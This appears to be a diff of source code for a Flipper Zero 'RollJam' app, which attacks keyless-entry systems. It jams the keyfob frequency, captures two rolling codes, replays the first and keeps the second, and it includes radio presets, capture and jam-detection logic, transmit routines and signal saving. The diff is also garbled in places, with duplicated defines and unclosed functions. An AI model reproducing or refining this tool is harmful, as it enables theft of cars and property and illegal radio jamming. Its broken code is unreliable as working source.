CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return (matches > (int)(s->size * 8 / 10));
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
@@ -171,90 +275,101 @@ typedef enum {
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
if(g_cap.state == CapDone) return;
cap_callback_count++;
g_cap.callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
bool is_silence = (dur > SILENCE_GAP_US);
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
switch(g_cap.state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
@@ -269,64 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
cap_ctx_reset(&g_cap);
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
@@ -334,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
@@ -353,64 +450,46 @@ void rolljam_capture_stop(RollJamApp* app) {
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
float rssi = furi_hal_subghz_get_rssi();
float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
@@ -419,7 +498,7 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
@@ -427,22 +506,21 @@ void rolljam_signal_cleanup(RawSignal* signal) {
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
int16_t prev = cleaned[out - 1];
bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
@@ -455,27 +533,23 @@ void rolljam_signal_cleanup(RawSignal* signal) {
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
@@ -484,8 +558,8 @@ void rolljam_signal_cleanup(RawSignal* signal) {
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
@@ -494,11 +568,9 @@ static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
@@ -507,33 +579,23 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* tx_preset;
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
// Transmit 3 times — improves reliability especially at range
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
@@ -550,14 +612,11 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
@@ -590,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
@@ -616,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
@@ -15,20 +15,11 @@
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
-4
View File
@@ -180,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
@@ -188,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
@@ -201,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
+1 -7
View File
@@ -18,7 +18,6 @@
#define TAG "RollJam"
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
@@ -127,20 +126,17 @@ typedef struct {
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
@@ -149,16 +145,14 @@ typedef struct {
uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;
@@ -9,10 +9,8 @@
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -27,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
@@ -38,16 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Configure hardware type
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
@@ -67,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
@@ -9,10 +9,8 @@
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -38,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
@@ -72,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
@@ -10,7 +10,6 @@
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(
@@ -4,43 +4,68 @@
// Menu scene: select frequency, modulation, start attack
// ============================================================
